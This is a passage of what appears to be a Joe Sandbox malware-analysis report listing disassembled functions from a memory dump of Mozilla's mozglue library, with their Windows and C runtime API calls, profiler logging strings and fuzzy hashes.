moz_xmalloc.MOZGLUE(6CB45104), ref: 6CACEFAC
memcpy.VCRUNTIME140(00000000,?,00000000), ref: 6CACEFD7
memcpy.VCRUNTIME140(00000000,?,?), ref: 6CACEFEC
free.MOZGLUE(?), ref: 6CACF00C
memcpy.VCRUNTIME140(00000000,?,00000000), ref: 6CACF02E
memcpy.VCRUNTIME140(00000000,?), ref: 6CACF041
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6CACF065
moz_xmalloc.MOZGLUE ref: 6CACF072

Memory Dump Source

Source File: 00000001.00000002.2671132838.000000006CAC1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CAC0000, based on PE: true

Associated: 00000001.00000002.2671092779.000000006CAC0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2671227797.000000006CB3D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2671288957.000000006CB4E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2671335104.000000006CB52000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cac0000_file.jbxd

Similarity

API ID: memcpy$moz_xmalloc$_invalid_parameter_noinfo_noreturnfree
String ID:
API String ID: 1148890222-0
Opcode ID: d7059d3c410d84f5fcce64495e0e3dc9d4e6691828545a5ba4c08dba222755c0
Instruction ID: 0cd3cbcd8cef80b4574f8821207c68f51479c673b8ad743330250e51a8ced559
Opcode Fuzzy Hash: d7059d3c410d84f5fcce64495e0e3dc9d4e6691828545a5ba4c08dba222755c0
Instruction Fuzzy Hash: E241D3B1B002159FCB08CF68DC819AF77A5BF85324B24422CE816DB794FB31E95587E2

Function 6CB3B540 Relevance: 12.1, APIs: 8, Instructions: 93COMMON

Download Yara Rule

APIs

?classic@locale@std@@SAABV12@XZ.MSVCP140 ref: 6CB3B5B9
??0_Lockit@std@@QAE@H@Z.MSVCP140(00000000), ref: 6CB3B5C5
??Bid@locale@std@@QAEIXZ.MSVCP140 ref: 6CB3B5DA
??1_Lockit@std@@QAE@XZ.MSVCP140(00000000), ref: 6CB3B5F4
__Init_thread_footer.LIBCMT ref: 6CB3B605
?_Getcat@?$ctype@D@std@@SAIPAPBVfacet@locale@2@PBV42@@Z.MSVCP140(00000000,?,00000000), ref: 6CB3B61F
std::_Facet_Register.LIBCPMT ref: 6CB3B631
abort.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6CB3B655

Memory Dump Source

Source File: 00000001.00000002.2671132838.000000006CAC1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CAC0000, based on PE: true

Associated: 00000001.00000002.2671092779.000000006CAC0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2671227797.000000006CB3D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2671288957.000000006CB4E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2671335104.000000006CB52000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cac0000_file.jbxd

Similarity

API ID: Lockit@std@@$??0_??1_?classic@locale@std@@Bid@locale@std@@D@std@@Facet_Getcat@?$ctype@Init_thread_footerRegisterV12@V42@@Vfacet@locale@2@abortstd::_
String ID:
API String ID: 1276798925-0
Opcode ID: 4f879a4e4495dbb161b5b3481344e60d56afcfb9a83b83e7e1a1ba2be87b942d
Instruction ID: 52e0afae3adb220f21178cef141c75c557aeb5eb79242637d1a8e89055933747
Opcode Fuzzy Hash: 4f879a4e4495dbb161b5b3481344e60d56afcfb9a83b83e7e1a1ba2be87b942d
Instruction Fuzzy Hash: 1531E771B04564CBCF00EF68C8549AEB7B5FF85328F154569E91697744DB30AC06CF91

Function 6CAD9830 Relevance: 10.7, APIs: 7, Instructions: 196COMMON

Download Yara Rule

APIs

free.MOZGLUE(?,?,?,6CB27ABE), ref: 6CAD985B
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,6CB27ABE), ref: 6CAD98A8
moz_xmalloc.MOZGLUE(00000020), ref: 6CAD9909
memcpy.VCRUNTIME140(00000023,?,?), ref: 6CAD9918
free.MOZGLUE(?), ref: 6CAD9975

Memory Dump Source

Source File: 00000001.00000002.2671132838.000000006CAC1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CAC0000, based on PE: true

Associated: 00000001.00000002.2671092779.000000006CAC0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2671227797.000000006CB3D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2671288957.000000006CB4E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2671335104.000000006CB52000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cac0000_file.jbxd

Similarity

API ID: free$_invalid_parameter_noinfo_noreturnmemcpymoz_xmalloc
String ID:
API String ID: 1281542009-0
Opcode ID: 36ef641c4deb1a4f37ed7f362d6ee24ea62a75478e741cbbc8a1a641ffbcbc12
Instruction ID: 2abbc91c9c24e4050c762024d79b9d67fb3a1bb447fa8f95c59413e4babec06d
Opcode Fuzzy Hash: 36ef641c4deb1a4f37ed7f362d6ee24ea62a75478e741cbbc8a1a641ffbcbc12
Instruction Fuzzy Hash: 8171AB746047058FC724CF78C59095AB7F1FF4A3287254AADD85A8BBA0DB31F885CB91

Function 6CADB790 Relevance: 10.6, APIs: 7, Instructions: 147COMMON

Download Yara Rule

APIs

?good@ios_base@std@@QBE_NXZ.MSVCP140(?,6CB1CC83,?,?,?,?,?,?,?,?,?,6CB1BCAE,?,?,6CB0DC2C), ref: 6CADB7E6
?good@ios_base@std@@QBE_NXZ.MSVCP140(?,6CB1CC83,?,?,?,?,?,?,?,?,?,6CB1BCAE,?,?,6CB0DC2C), ref: 6CADB80C
?clear@?$basic_ios@DU?$char_traits@D@std@@@std@@QAEXH_N@Z.MSVCP140(?,00000000,?,6CB1CC83,?,?,?,?,?,?,?,?,?,6CB1BCAE), ref: 6CADB88E
?_Osfx@?$basic_ostream@DU?$char_traits@D@std@@@std@@QAEXXZ.MSVCP140(?,6CB1CC83,?,?,?,?,?,?,?,?,?,6CB1BCAE,?,?,6CB0DC2C), ref: 6CADB896

Memory Dump Source

Source File: 00000001.00000002.2671132838.000000006CAC1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CAC0000, based on PE: true

Associated: 00000001.00000002.2671092779.000000006CAC0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2671227797.000000006CB3D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2671288957.000000006CB4E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2671335104.000000006CB52000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cac0000_file.jbxd

Similarity

API ID: ?good@ios_base@std@@D@std@@@std@@U?$char_traits@$?clear@?$basic_ios@Osfx@?$basic_ostream@
String ID:
API String ID: 922945588-0
Opcode ID: fefc0527aae21b311a7c8a759082908b9a44daf90588435dde666bb87ec2d1f3
Instruction ID: fc3705099af4f7376436cebee5726bcffdc3f22b566ecbe17cf8b317d39f256b
Opcode Fuzzy Hash: fefc0527aae21b311a7c8a759082908b9a44daf90588435dde666bb87ec2d1f3
Instruction Fuzzy Hash: 17517C357046048FCB15DF59D498A2EB7F5FF89318B5A865DEA8A87351C731F881CB80

Function 6CB11D00 Relevance: 10.6, APIs: 7, Instructions: 115threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6CB11D0F
AcquireSRWLockExclusive.KERNEL32(?,?,6CB11BE3,?,?,6CB11D96,00000000), ref: 6CB11D18
ReleaseSRWLockExclusive.KERNEL32(?,?,6CB11BE3,?,?,6CB11D96,00000000), ref: 6CB11D4C
GetCurrentThreadId.KERNEL32 ref: 6CB11DB7
AcquireSRWLockExclusive.KERNEL32(?), ref: 6CB11DC0
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6CB11DDA

Part of subcall function 6CB11EF0: GetCurrentThreadId.KERNEL32 ref: 6CB11F03
Part of subcall function 6CB11EF0: AcquireSRWLockExclusive.KERNEL32(?,?,?,?,?,6CB11DF2,00000000,00000000), ref: 6CB11F0C
Part of subcall function 6CB11EF0: ReleaseSRWLockExclusive.KERNEL32 ref: 6CB11F20

moz_xmalloc.MOZGLUE(00000008,00000000,00000000), ref: 6CB11DF4

Part of subcall function 6CADCA10: malloc.MOZGLUE(?), ref: 6CADCA26

Memory Dump Source

Source File: 00000001.00000002.2671132838.000000006CAC1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CAC0000, based on PE: true

Associated: 00000001.00000002.2671092779.000000006CAC0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2671227797.000000006CB3D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2671288957.000000006CB4E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2671335104.000000006CB52000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cac0000_file.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentReleaseThread$mallocmoz_xmalloc
String ID:
API String ID: 1880959753-0
Opcode ID: ab97579e78860a6903fdd3872d94c2aac08df9cecbd93995d2331d2666c777e5
Instruction ID: d0a56c97e069a5ab72fb9f8625fa82f510588c3402934a3b28ab4da22fc8da1b
Opcode Fuzzy Hash: ab97579e78860a6903fdd3872d94c2aac08df9cecbd93995d2331d2666c777e5
Instruction Fuzzy Hash: 5541ABB52047049FCB10DF29C488A5ABBF9FF89318F14842DE95A87B41CB31F854CB91

Function 6CAD38A0 Relevance: 10.6, APIs: 7, Instructions: 80memoryCOMMON

Download Yara Rule

APIs

AcquireSRWLockExclusive.KERNEL32(6CB4E220,?,?,?,?,6CAD3899,?), ref: 6CAD38B2
ReleaseSRWLockExclusive.KERNEL32(6CB4E220,?,?,?,6CAD3899,?), ref: 6CAD38C3
free.MOZGLUE(00000000,?,00000000,0000002C,?,?,?,6CAD3899,?), ref: 6CAD38F1
RtlFreeHeap.NTDLL ref: 6CAD3920
RtlFreeUnicodeString.NTDLL(-0000000C,?,?,?,6CAD3899,?), ref: 6CAD392F
RtlFreeUnicodeString.NTDLL(-00000014,?,?,?,6CAD3899,?), ref: 6CAD3943
RtlFreeHeap.NTDLL ref: 6CAD396E

Memory Dump Source

Source File: 00000001.00000002.2671132838.000000006CAC1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CAC0000, based on PE: true

Associated: 00000001.00000002.2671092779.000000006CAC0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2671227797.000000006CB3D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2671288957.000000006CB4E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2671335104.000000006CB52000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cac0000_file.jbxd

Similarity

API ID: Free$ExclusiveHeapLockStringUnicode$AcquireReleasefree
String ID:
API String ID: 3047341122-0
Opcode ID: da9c06f1f09084f3e0e82c53ee89c1caecd8a479a079b9069cae5521a2eab778
Instruction ID: 5e67d3c32cc4fe8ce29c1501504e7feac280854943a0cdbd762d040e8ea9171b
Opcode Fuzzy Hash: da9c06f1f09084f3e0e82c53ee89c1caecd8a479a079b9069cae5521a2eab778
Instruction Fuzzy Hash: D821F176601A60DFD720DF65C884B8AB7B9FF45328F1A8469D99A97B10C730F885CB90

Function 6CB084E0 Relevance: 10.6, APIs: 7, Instructions: 79COMMON

Download Yara Rule

APIs

free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6CB084F3
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6CB0850A
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6CB0851E
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6CB0855B
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6CB0856F
??1UniqueJSONStrings@baseprofiler@mozilla@@QAE@XZ.MOZGLUE(?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6CB085AC

Part of subcall function 6CB07670: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,6CB085B1,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6CB0767F
Part of subcall function 6CB07670: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,6CB085B1,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6CB07693
Part of subcall function 6CB07670: free.API-MS-WIN-CRT-HEAP-L1-1-0(00000000,?,?,?,6CB085B1,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6CB076A7

free.MOZGLUE(?,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6CB085B2

Part of subcall function 6CAE5E90: EnterCriticalSection.KERNEL32(-0000000C), ref: 6CAE5EDB
Part of subcall function 6CAE5E90: memset.VCRUNTIME140(6CB27765,000000E5,55CCCCCC), ref: 6CAE5F27
Part of subcall function 6CAE5E90: LeaveCriticalSection.KERNEL32(?), ref: 6CAE5FB2

Memory Dump Source

Source File: 00000001.00000002.2671132838.000000006CAC1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CAC0000, based on PE: true

Associated: 00000001.00000002.2671092779.000000006CAC0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2671227797.000000006CB3D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2671288957.000000006CB4E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2671335104.000000006CB52000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cac0000_file.jbxd

Similarity

API ID: free$CriticalSection$EnterLeaveStrings@baseprofiler@mozilla@@Uniquememset
String ID:
API String ID: 2666944752-0
Opcode ID: 26b407b62bf844f6bd3ec9b3c93ead0a217ab6456faf9140b752e75c79468847
Instruction ID: a14f9ba75960789e02cd804b190d252b759bb9a36cd6a52e3d6c99475375f521
Opcode Fuzzy Hash: 26b407b62bf844f6bd3ec9b3c93ead0a217ab6456faf9140b752e75c79468847
Instruction Fuzzy Hash: 1E216D743006419FDB14DB24D888A5ABBB9FF4530DF14482DE55B87B41EB32EA48CB52

Function 6CAD1640 Relevance: 10.6, APIs: 7, Instructions: 77COMMON

Download Yara Rule

APIs

memset.VCRUNTIME140(?,00000000,00000114), ref: 6CAD1699
VerSetConditionMask.NTDLL ref: 6CAD16CB
VerSetConditionMask.NTDLL ref: 6CAD16D7
VerSetConditionMask.NTDLL ref: 6CAD16DE
VerSetConditionMask.NTDLL ref: 6CAD16E5
VerSetConditionMask.NTDLL ref: 6CAD16EC
VerifyVersionInfoW.KERNEL32(?,00000037,00000000), ref: 6CAD16F9

Memory Dump Source

Source File: 00000001.00000002.2671132838.000000006CAC1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CAC0000, based on PE: true

Associated: 00000001.00000002.2671092779.000000006CAC0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2671227797.000000006CB3D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2671288957.000000006CB4E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2671335104.000000006CB52000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cac0000_file.jbxd

Similarity

API ID: ConditionMask$InfoVerifyVersionmemset
String ID:
API String ID: 375572348-0
Opcode ID: ac48e10f4d4a9d227a5697007c52bbe847a0cdf42c1fda0c7ea10e4d0cabe6be
Instruction ID: a99437fe28999b21e82510abd29674c48424ad848b9f2e1167cfff5fed71de45
Opcode Fuzzy Hash: ac48e10f4d4a9d227a5697007c52bbe847a0cdf42c1fda0c7ea10e4d0cabe6be
Instruction Fuzzy Hash: B021D5B07442486FEB106B649C45FFFB37CEF86714F018528F6059B5C1C674AD54C6A1

Function 6CB0F5B0 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 70threadCOMMON

Download Yara Rule

APIs

Part of subcall function 6CAFCBE8: GetCurrentProcess.KERNEL32(?,6CAC31A7), ref: 6CAFCBF1
Part of subcall function 6CAFCBE8: TerminateProcess.KERNEL32(00000000,00000003,?,6CAC31A7), ref: 6CAFCBFA

Part of subcall function 6CB09420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6CAD4A68), ref: 6CB0945E
Part of subcall function 6CB09420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6CB09470
Part of subcall function 6CB09420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6CB09482
Part of subcall function 6CB09420: __Init_thread_footer.LIBCMT ref: 6CB0949F

GetCurrentThreadId.KERNEL32 ref: 6CB0F619
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,00000000,?,6CB0F598), ref: 6CB0F621

Part of subcall function 6CB094D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6CB094EE
Part of subcall function 6CB094D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6CB09508

GetCurrentThreadId.KERNEL32 ref: 6CB0F637
AcquireSRWLockExclusive.KERNEL32(6CB4F4B8,?,?,00000000,?,6CB0F598), ref: 6CB0F645
ReleaseSRWLockExclusive.KERNEL32(6CB4F4B8,?,?,00000000,?,6CB0F598), ref: 6CB0F663

Strings

[D %d/%d] profiler_remove_sampled_counter(%s), xrefs: 6CB0F62A

Memory Dump Source

Source File: 00000001.00000002.2671132838.000000006CAC1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CAC0000, based on PE: true

Associated: 00000001.00000002.2671092779.000000006CAC0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2671227797.000000006CB3D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2671288957.000000006CB4E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2671335104.000000006CB52000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cac0000_file.jbxd

Similarity

API ID: Currentgetenv$ExclusiveLockProcessThread$AcquireInit_thread_footerReleaseTerminate__acrt_iob_func__stdio_common_vfprintf_getpid
String ID: [D %d/%d] profiler_remove_sampled_counter(%s)
API String ID: 1579816589-753366533
Opcode ID: b9b20ce94dd087c61eeb9b10751cd07249202197636421f806b07806e8cff50f
Instruction ID: af532fca61ac2802bf428fca73b3a2f6d8c4648770ba16e94f31a3a740703b75
Opcode Fuzzy Hash: b9b20ce94dd087c61eeb9b10751cd07249202197636421f806b07806e8cff50f
Instruction Fuzzy Hash: 9E11E075309644ABDA04BF29D848DEABB79FB8636CF504415EA0683F05CB31AC25CBA5

Function 6CAD1FA0 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 60libraryloaderCOMMON

Download Yara Rule

APIs

Part of subcall function 6CAFAB89: EnterCriticalSection.KERNEL32(6CB4E370,?,?,?,6CAC34DE,6CB4F6CC,?,?,?,?,?,?,?,6CAC3284), ref: 6CAFAB94
Part of subcall function 6CAFAB89: LeaveCriticalSection.KERNEL32(6CB4E370,?,6CAC34DE,6CB4F6CC,?,?,?,?,?,?,?,6CAC3284,?,?,6CAE56F6), ref: 6CAFABD1

LoadLibraryW.KERNEL32(combase.dll,?), ref: 6CAD1FDE
GetProcAddress.KERNEL32(00000000,CoCreateInstance), ref: 6CAD1FFD
__Init_thread_footer.LIBCMT ref: 6CAD2011
FreeLibrary.KERNEL32 ref: 6CAD2059

Strings

CoCreateInstance, xrefs: 6CAD1FF7
combase.dll, xrefs: 6CAD1FD9

Memory Dump Source

Source File: 00000001.00000002.2671132838.000000006CAC1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CAC0000, based on PE: true

Associated: 00000001.00000002.2671092779.000000006CAC0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2671227797.000000006CB3D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2671288957.000000006CB4E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2671335104.000000006CB52000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cac0000_file.jbxd

Similarity

API ID: CriticalLibrarySection$AddressEnterFreeInit_thread_footerLeaveLoadProc
String ID: CoCreateInstance$combase.dll
API String ID: 4190559335-2197658831
Opcode ID: a6f2379303bb7efd6617fb1c9c1adc19639b38a5637c094ff39e581d2441cef9
Instruction ID: ce635b1330fa38f454a1c43050c8772e5535be32afabad382a0753b2cf4054a3
Opcode Fuzzy Hash: a6f2379303bb7efd6617fb1c9c1adc19639b38a5637c094ff39e581d2441cef9
Instruction Fuzzy Hash: F8117F79A08254AFDF10EF15C849E9A3B79FB8636DF04C129F91583644C731AC51DF60

Function 6CAD0EE0 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 51libraryloaderCOMMON

Download Yara Rule

APIs

Part of subcall function 6CAFAB89: EnterCriticalSection.KERNEL32(6CB4E370,?,?,?,6CAC34DE,6CB4F6CC,?,?,?,?,?,?,?,6CAC3284), ref: 6CAFAB94
Part of subcall function 6CAFAB89: LeaveCriticalSection.KERNEL32(6CB4E370,?,6CAC34DE,6CB4F6CC,?,?,?,?,?,?,?,6CAC3284,?,?,6CAE56F6), ref: 6CAFABD1

LoadLibraryW.KERNEL32(combase.dll,00000000,?,6CAFD9F0,00000000), ref: 6CAD0F1D
GetProcAddress.KERNEL32(00000000,CoInitializeEx), ref: 6CAD0F3C
__Init_thread_footer.LIBCMT ref: 6CAD0F50
FreeLibrary.KERNEL32(?,6CAFD9F0,00000000), ref: 6CAD0F86

Strings

CoInitializeEx, xrefs: 6CAD0F36
combase.dll, xrefs: 6CAD0F18

Memory Dump Source

Source File: 00000001.00000002.2671132838.000000006CAC1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CAC0000, based on PE: true

Associated: 00000001.00000002.2671092779.000000006CAC0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2671227797.000000006CB3D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2671288957.000000006CB4E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2671335104.000000006CB52000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cac0000_file.jbxd

Similarity

API ID: CriticalLibrarySection$AddressEnterFreeInit_thread_footerLeaveLoadProc
String ID: CoInitializeEx$combase.dll
API String ID: 4190559335-2063391169
Opcode ID: cacbb82876dc4cdefb587c31b751eb3d0b7f0bcd8f3ca4aff3a28475e2642fde
Instruction ID: dcc850e254dd57ccb3c5ee11fde19ab3d87067f6a1c92b9aa5bab616b690958d
Opcode Fuzzy Hash: cacbb82876dc4cdefb587c31b751eb3d0b7f0bcd8f3ca4aff3a28475e2642fde
Instruction Fuzzy Hash: 8711A07520D2809BDF00EF58CA08E8A3775FB8A32AF16C629E90583644D730EC45CE53

Function 6CB0F540 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 36threadCOMMON

Download Yara Rule

APIs

Part of subcall function 6CB09420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6CAD4A68), ref: 6CB0945E
Part of subcall function 6CB09420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6CB09470
Part of subcall function 6CB09420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6CB09482
Part of subcall function 6CB09420: __Init_thread_footer.LIBCMT ref: 6CB0949F

GetCurrentThreadId.KERNEL32 ref: 6CB0F559
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6CB0F561

Part of subcall function 6CB094D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6CB094EE
Part of subcall function 6CB094D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6CB09508

GetCurrentThreadId.KERNEL32 ref: 6CB0F577
AcquireSRWLockExclusive.KERNEL32(6CB4F4B8), ref: 6CB0F585
ReleaseSRWLockExclusive.KERNEL32(6CB4F4B8), ref: 6CB0F5A3

Strings

[I %d/%d] profiler_resume_sampling, xrefs: 6CB0F499
[I %d/%d] profiler_pause_sampling, xrefs: 6CB0F3A8
[I %d/%d] profiler_resume, xrefs: 6CB0F239
[D %d/%d] profiler_add_sampled_counter(%s), xrefs: 6CB0F56A

Memory Dump Source

Source File: 00000001.00000002.2671132838.000000006CAC1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CAC0000, based on PE: true

Associated: 00000001.00000002.2671092779.000000006CAC0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2671227797.000000006CB3D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2671288957.000000006CB4E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2671335104.000000006CB52000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cac0000_file.jbxd

Similarity

API ID: getenv$CurrentExclusiveLockThread$AcquireInit_thread_footerRelease__acrt_iob_func__stdio_common_vfprintf_getpid
String ID: [D %d/%d] profiler_add_sampled_counter(%s)$[I %d/%d] profiler_pause_sampling$[I %d/%d] profiler_resume$[I %d/%d] profiler_resume_sampling
API String ID: 2848912005-2840072211
Opcode ID: f6ca2f5e55ba7779c68a9d448805c470d29251e027e030829d87a321ad91d7cc
Instruction ID: ab59a020738e5f5c7f14fda44ae818ecf10b9fb175ccc1863d9cc2385e6df24c
Opcode Fuzzy Hash: f6ca2f5e55ba7779c68a9d448805c470d29251e027e030829d87a321ad91d7cc
Instruction Fuzzy Hash: 6DF0B475708640ABEE007B659848E6E7B7CFB862ADF008411EB0583709DF314C018765

Function 6CB0F600 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 36threadCOMMON

Download Yara Rule

APIs

Part of subcall function 6CB09420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6CAD4A68), ref: 6CB0945E
Part of subcall function 6CB09420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6CB09470
Part of subcall function 6CB09420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6CB09482
Part of subcall function 6CB09420: __Init_thread_footer.LIBCMT ref: 6CB0949F

GetCurrentThreadId.KERNEL32 ref: 6CB0F619
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,00000000,?,6CB0F598), ref: 6CB0F621

Part of subcall function 6CB094D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6CB094EE
Part of subcall function 6CB094D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6CB09508

GetCurrentThreadId.KERNEL32 ref: 6CB0F637
AcquireSRWLockExclusive.KERNEL32(6CB4F4B8,?,?,00000000,?,6CB0F598), ref: 6CB0F645
ReleaseSRWLockExclusive.KERNEL32(6CB4F4B8,?,?,00000000,?,6CB0F598), ref: 6CB0F663

Strings

[D %d/%d] profiler_remove_sampled_counter(%s), xrefs: 6CB0F62A

Memory Dump Source

Source File: 00000001.00000002.2671132838.000000006CAC1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CAC0000, based on PE: true

Associated: 00000001.00000002.2671092779.000000006CAC0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2671227797.000000006CB3D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2671288957.000000006CB4E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2671335104.000000006CB52000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cac0000_file.jbxd

Similarity

